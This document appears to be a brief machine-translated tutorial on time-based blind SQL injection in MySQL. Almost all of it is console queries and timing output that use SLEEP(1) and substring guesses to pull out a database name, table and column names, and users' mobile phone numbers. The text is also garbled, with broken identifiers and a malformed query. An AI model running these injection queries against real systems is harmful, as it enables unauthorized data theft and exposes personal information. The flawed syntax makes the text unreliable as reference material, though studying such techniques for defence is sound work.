MySQL based on the "Time" of the Blind

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MySQL Time-based blind =================================================================================================== ===================================================================* Guess the library name-the following is the correct mysql> select Sleep (1) from (                                                                             Select Database () a_database) a where substr (a_database,1,1) =char (0x66); +----------+|        Sleep (1) |+----------+| 0 |+----------+1 row in Set (1.00 sec)-The following is a guess error mysql> select Sleep (1) from (select Database () a_database) a Where substr ( a_database,1,1) =char (0x67); Empty Set (0.00 sec) * Guess table name-mysql> select Sleep (1) from (SELECT DISTINCT table_name as A_TN from information_schema.table s where table_schema= ' Fangjiangjun ' limit 0,1) a where substr (A_tn, 1, 1) = ' f '; +----------+|        Sleep (1) |+----------+| 0 |+----------+1 row in Set (1.00 sec)-mysql> Select Sleep (1) from (SELECT DISTINCT table_name as A_TN from information _schema.tables where table_schema= ' Fangjiangjun ' limit 0,1) a whereSUBSTR (A_tn, 1, 1) = ' x '; Empty Set (0.00 sec) * Guess field name-mysql> Select Sleep (1) from (select DISTINCT column_name as A_CN from Information_schema.col Umns where table_schema= ' Fangjiangjun ' and table_name= ' f_user ' limit 0,1) a where substr (A_CN, 1, 1) = ' I '; +----------+|        Sleep (1) |+----------+| 0 |+----------+1 row in Set (1.01 sec)-mysql> Select Sleep (1) from (select DISTINCT column_name as A_CN from Informatio N_schema.columns where table_schema= ' Fangjiangjun ' and table_name= ' f_user ' limit 0,1) a where substr (A_CN, 2, 1) = ' d '; +--- -------+|        Sleep (1) |+----------+| 0 |+----------+1 row in Set (1.00 sec) * Solver field value-mysql> Select Sleep (1) from (select CONVERT (Mobile_phone,char) as A_mp fro M fangjiangjun.f_user order by ID limit 0,1) a where substr (a_mp,1,1) = ' 1 '; +----------+|        Sleep (1) |+----------+| 0 |+----------+1 row in Set (1.00 sec)-mysql> Select Sleep (1) by (select CONVERT (Mobile_phone,char) as A_mp from Fang Jiangjun.f_user order by ID limit 0,1) a where substr (a_mp,2, 1) = ' 3 ';-mysql> Select Sleep (1) from (select CONVERT (Mobile_phone,char) as A_MP from Fangjiangjun.f_user order by ID Li MIT 0,1) A where substr (a_mp,2,1) = ' 8 '; +----------+|        Sleep (1) |+----------+| 0 |+----------+1 row in Set (1.00 sec)

　　

MySQL based on the "Time" of the Blind